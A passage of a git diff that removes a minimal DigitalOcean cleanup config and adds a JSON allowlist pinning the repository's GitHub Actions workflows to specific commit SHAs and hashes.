diff --git a/.github/conformance/cleanup.yaml b/.github/conformance/cleanup.yaml deleted file mode 100644 index 8b76e85e4..000000000 --- a/.github/conformance/cleanup.yaml +++ /dev/null @@ -1,28 +0,0 @@ -# Minimal infra config used solely by the conformance smoke gate's -# `wfctl infra cleanup --tag` step (.github/workflows/conformance-smoke.yml). -# -# Why this exists: -# `wfctl infra cleanup` loads providers from a config's `iac.provider` -# modules; when the smoke job runs at the repo root, no `infra.yaml` exists -# there. Without an explicit `--config`, cleanup would fail with -# "no infrastructure config found" once `DO_CONFORMANCE_API_TOKEN` is -# provisioned (workflow#542). Pinning this minimal config — single -# digitalocean iac.provider, no resources, no platform.* modules — gives -# the cleanup dispatcher the provider it needs to call EnumerateByTag -# without any ambient state. -# -# Token resolution: -# `${DIGITALOCEAN_TOKEN}` is expanded from the environment at apply time -# (config.ExpandEnvInMap). The smoke job exports `DIGITALOCEAN_TOKEN` -# directly from `secrets.DO_CONFORMANCE_API_TOKEN`, matching the -# canonical env var name the workflow-plugin-digitalocean iac.provider -# config consumes. -# -# Refs: workflow#536 (PR 4 Task 4.4 + Copilot review fix). - -modules: - - name: do - type: iac.provider - config: - provider: digitalocean - token: ${DIGITALOCEAN_TOKEN} diff --git a/.github/public-workflow-action-allowlist.json b/.github/public-workflow-action-allowlist.json new file mode 100644 index 000000000..098aafad2 --- /dev/null +++ b/.github/public-workflow-action-allowlist.json @@ -0,0 +1,538 @@ +[ + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae", + "nodeSHA256": "75285419b94ac7c3e82c6bcdff625ac1aab862ff09465c03b7f67b5f68a187f2", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae", + "nodeSHA256": "89a251c63db3bcac9145c65adeb9dddd48afdd5c8cb13a9ad5ae16a3cd3f526f", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "53ad3f241f5c8d1d03bf90f108b1cc142bb2f4639861d07e4ecc910983808995", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3", + "nodeSHA256": "b1570fa9a4d99988920c8c534c481885469c1dfaca2327d7c088e35dadb1a568", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "c0d85fe8f94bd2187fb4d2a57310b75cf4561a018bc15a11b5fbea0baa13f07a", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 benchmark toolchain." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "d6511486d7f0d7044978b8c71828add2508e72a9897718b7a91fdf151ffb3c49", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/benchmark.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "12074f39596f10a86be9803abfc22df487bd693298254d1147668ad32952b442", + "contextSHA256": "24ff378f17200e8c02f20803633bc56a61c472c86d176bd9d9ca3a001f1fc300", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed benchmark.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "53ad3f241f5c8d1d03bf90f108b1cc142bb2f4639861d07e4ecc910983808995", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "61a9c4331757d229152c8c6a40e1b270fcbcb695694e5b97beb517698440f0cc", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "e0a34c4180126cc79b5f308b63ad466e437d7e94ecceaa168f96cb94e149468b", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "8d49bc397aa5d9d2df3db9e1f3bfefd79f4e4aa5c95f87a795912dec86b3750c", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed module-file CI toolchain." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "c0d85fe8f94bd2187fb4d2a57310b75cf4561a018bc15a11b5fbea0baa13f07a", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 CI toolchain." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "dacbb57e259c6953091e4aa96a49ad1588d2d15932d979e18fc2fe76a8e956c0", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed cloud-SDK audit toolchain." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "d6511486d7f0d7044978b8c71828add2508e72a9897718b7a91fdf151ffb3c49", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "ca91e4ba0f44424faa0e3ae9defdf91020f32ab2c7db3037bbd0eacb201d863e", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "codecov/codecov-action@75cd11691c0faa626561e295848008c8a7dddffe", + "nodeSHA256": "ab5622108de60639f5c212053069c6d25973e77217a2041449482b2a27946dff", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned codecov/codecov-action@75cd11691c0faa626561e295848008c8a7dddffe for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee", + "nodeSHA256": "7b19a0cedb652d7edf63d3cf166019ba1381eb67732ad528faa80968b0cf7607", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/ci.yml", + "uses": "golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee", + "nodeSHA256": "b321ed17902672948adab7ee7bb4adbdb4773afaf0d9650c644b50dcd5d2cec1", + "contextSHA256": "532f4356f1104b87bb64c51db920bcf28c9fdceabcacad84d189522a3de014bc", + "state": "active", + "rationale": "Pinned golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee for reviewed ci.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "ce86ea22c3fe1b6ca8059cb204398b44c1700e22b3f4d85d9987d31352b96295", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed codeql.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "5a9025e52893f3f62a462a6f1e6b284806b9d7f81572587ef42f81ea8bdaab83", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 CodeQL toolchain." + }, + { + "path": ".github/workflows/codeql.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "946de4f8d489ea7f96487f8c63fc297e18070520c03196a0a7d0942cf78344a4", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed codeql.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "uses": "github/codeql-action/analyze@8aad20d150bbac5944a9f9d289da16a4b0d87c1e", + "nodeSHA256": "ec44f70d41c55c87b5ba025592a0d24dd72222fadcfcbe8954115d82d6d5a5a1", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Pinned github/codeql-action/analyze@8aad20d150bbac5944a9f9d289da16a4b0d87c1e for reviewed codeql.yml automation." + }, + { + "path": ".github/workflows/codeql.yml", + "uses": "github/codeql-action/init@8aad20d150bbac5944a9f9d289da16a4b0d87c1e", + "nodeSHA256": "42fe47b979a4fe3f823337c28c85711ec0731f6dd2169e78ccbf98ff1d3229fa", + "contextSHA256": "ff3bb78aaf12cc4448dafd9c7c9f5a43da36ec846ea4105ea8b77e41c39b0811", + "state": "active", + "rationale": "Pinned github/codeql-action/init@8aad20d150bbac5944a9f9d289da16a4b0d87c1e for reviewed codeql.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "d09a7101b0c57eab900f65af2ce4741d7fa67591c0450cf03fb0fd9d005c37fe", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "d970fddb3d510cf1b2834195ab0b3d9e4e65c7209fd1396b343262a4e9a4c15c", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Pinned actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c for reviewed copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "uses": "docker/setup-buildx-action@f7ce87c1d6bead3e36075b2ce75da1f6cc28aaca", + "nodeSHA256": "3a03ea60a8920fa27f1bd912c1d3d8c28b6305d3ac10f53f5c0e650340f4b164", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Pinned docker/setup-buildx-action@f7ce87c1d6bead3e36075b2ce75da1f6cc28aaca for reviewed copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/copilot-setup-steps.yml", + "uses": "golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee", + "nodeSHA256": "a6ee2b498ccd604c4f49673ddf19cb42bf46e8af3502c3024f672003bd76bfe4", + "contextSHA256": "9e4088e3a5fedcd03a34de005765a9bb768d26537e5da4be1d5754a3be492d1c", + "state": "active", + "rationale": "Pinned golangci/golangci-lint-action@82606bf257cbaff209d206a39f5134f0cfbfd2ee for reviewed copilot-setup-steps.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "02c4b3c1c23a7833481f980936ad346596131a9c04ee8840b79e03248303b906", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "dc6c07644f04d628569139adb703a473bd75c91b6d03b6c5bef9d6eb15c9c32b", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "e0a34c4180126cc79b5f308b63ad466e437d7e94ecceaa168f96cb94e149468b", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "31bbb6caf8a3cf91c71fa8700b164ee4f9e377f3a303969577046fe8d02688cd", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Pinned actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c for reviewed cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/cross-plugin-build-test.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "595db3ca96b3ae1a573bec7b55881238bb5f23cd2f420eb754abbe64858cf90f", + "contextSHA256": "a27b51b12443ad48839aaee1f6175464ce7e774e86ced8071e6604a0e156c2b0", + "state": "active", + "rationale": "Pinned actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c for reviewed cross-plugin-build-test.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "61a9c4331757d229152c8c6a40e1b270fcbcb695694e5b97beb517698440f0cc", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed dependency-update.yml automation." + }, + { + "path": ".github/workflows/dependency-update.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "c0d85fe8f94bd2187fb4d2a57310b75cf4561a018bc15a11b5fbea0baa13f07a", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 dependency-update toolchain." + }, + { + "path": ".github/workflows/dependency-update.yml", + "uses": "peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1", + "nodeSHA256": "697caa786bcc998429e090332135c9c384b3538102b017108b23c549b58791aa", + "contextSHA256": "4cc139c9e4ddeff0df1ded39f5edc58a07526ead081276ae50b4b21153897de9", + "state": "active", + "rationale": "Pinned peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 for reviewed dependency-update.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "53ad3f241f5c8d1d03bf90f108b1cc142bb2f4639861d07e4ecc910983808995", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed helm-lint.yml automation." + }, + { + "path": ".github/workflows/helm-lint.yml", + "uses": "azure/setup-helm@1a275c3b69536ee54be43f2070a358922e12c8d4", + "nodeSHA256": "20f92f378aa312cbd44551ad6085c90c08e1e78f249c7edb78be571c6a39914e", + "contextSHA256": "da77d154893ef019dc531722a42332d215ebed9f9cd758ec277cfc73f80d3ff1", + "state": "active", + "rationale": "Pinned azure/setup-helm@1a275c3b69536ee54be43f2070a358922e12c8d4 for reviewed helm-lint.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "743e307f51e2faba47116c2f10dac747458b107f5406d231e3865fe4390222cc", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "dad544a2e0fae5e9a8e66a01940b158bcf751258a5ecf5abb85302370ac504da", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "438703f26ae9b73c016d54d44b405caefc583418ece782ffe54549d238c2f875", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "58972a1a86b41df09448343169924aaa76f2bd6d583dcd3babf00e85408c7616", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "a3598bf9fde18785c466198a74ab7e98adfec7863868a9da6317851de9d93d10", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", + "nodeSHA256": "cf6be88681674f30423543b8fd808b4f06a167b73ef11fa032120688588177b5", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + "nodeSHA256": "12d092868a71c9cbfb9a1b7a27ef1306d1ed6fd6ebe7be9796cf7745af67d8c9", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pins the OSV scanner container by registry digest for reviewed pull-request scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + "nodeSHA256": "31d22ea7df1c45239503a1e925b50fad1b6b7ce7c647c4cdce6aa42ea00913d7", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pins the OSV scanner container by registry digest for reviewed scheduled scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + "nodeSHA256": "4ab27efcdaf3a40e4fe2ab07d85bbe879142101afc22a61e31b2ed8aee36cfcb", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pins the OSV reporter container entrypoint by registry digest for reviewed scheduled reporting." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + "nodeSHA256": "a3127bb1d63303c3b0e22cbce392d401d50f854ed70f2f602a494603f6ae97b7", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pins the OSV scanner container by registry digest for reviewed pull-request scanning." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba", + "nodeSHA256": "e4d21cd88750790f3d874dda6af00633fc0610c8eaef54f0d13fee11207be545", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pins the OSV reporter container entrypoint by registry digest for reviewed differential reporting." + }, + { + "path": ".github/workflows/osv-scanner.yml", + "uses": "github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e", + "nodeSHA256": "6b534bc18d2e481033a86fab64beb4fcf552fa76534d436d402ee44fd8d05252", + "contextSHA256": "8c7670a43ee04394873dc65d86c43851223cb0f10d03078e70e98573bee02c21", + "state": "active", + "rationale": "Pinned github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e for reviewed osv-scanner.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "53ad3f241f5c8d1d03bf90f108b1cc142bb2f4639861d07e4ecc910983808995", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "d6b03ef1597a69e1978ead4e5925aed16626c4c8f668cc18cdb4697dc71b85f3", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "uses": "actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c", + "nodeSHA256": "c0d85fe8f94bd2187fb4d2a57310b75cf4561a018bc15a11b5fbea0baa13f07a", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Pinned actions/setup-go for the reviewed Go 1.26.5 pre-release toolchain." + }, + { + "path": ".github/workflows/pre-release.yml", + "uses": "actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e", + "nodeSHA256": "d6511486d7f0d7044978b8c71828add2508e72a9897718b7a91fdf151ffb3c49", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Pinned actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e for reviewed pre-release.yml automation." + }, + { + "path": ".github/workflows/pre-release.yml", + "uses": "ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d", + "nodeSHA256": "901d681634d0e4e7b011708926aa6e0fea756b20e1138ca280c3689a16d6ebde", + "contextSHA256": "046df32802211b14b97b613f1d5ab9fd444ea7dff3eeacc11b81c62a22b6b844", + "state": "active", + "rationale": "Pinned ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d for reviewed pre-release.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "uses": "actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5", + "nodeSHA256": "8ddc920b847e5e03515a92d8be49290bd9039f458fffcdeea7ad0a30f48e15dc", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Pinned actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 for reviewed public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/public-workflow-policy.yml", + "uses": "actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff", + "nodeSHA256": "3c2f0c49ba03bc87e0aeebcd40257f3285d9b3e4a0b79982f795d6bfd5117bf9", + "contextSHA256": "b0ff9f7b4bc11ccbc2dd40df7973867b7a1ee237cf2d5bae95b0e6c3251ea233", + "state": "active", + "rationale": "Pinned actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff for reviewed public-workflow-policy.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "3349aa71987f307abdb6a6e8d8de5e2bfb551aafaf23c183d6bf045e2d91c7b4", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "53ad3f241f5c8d1d03bf90f108b1cc142bb2f4639861d07e4ecc910983808995", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": "actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10", + "nodeSHA256": "d6b03ef1597a69e1978ead4e5925aed16626c4c8f668cc18cdb4697dc71b85f3", + "contextSHA256": "7e6b8738cb89f1af132d306880423405b06b7eb3e71bb0cb65b627c88fbf95f3", + "state": "active", + "rationale": "Pinned actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 for reviewed release.yml automation." + }, + { + "path": ".github/workflows/release.yml", + "uses": 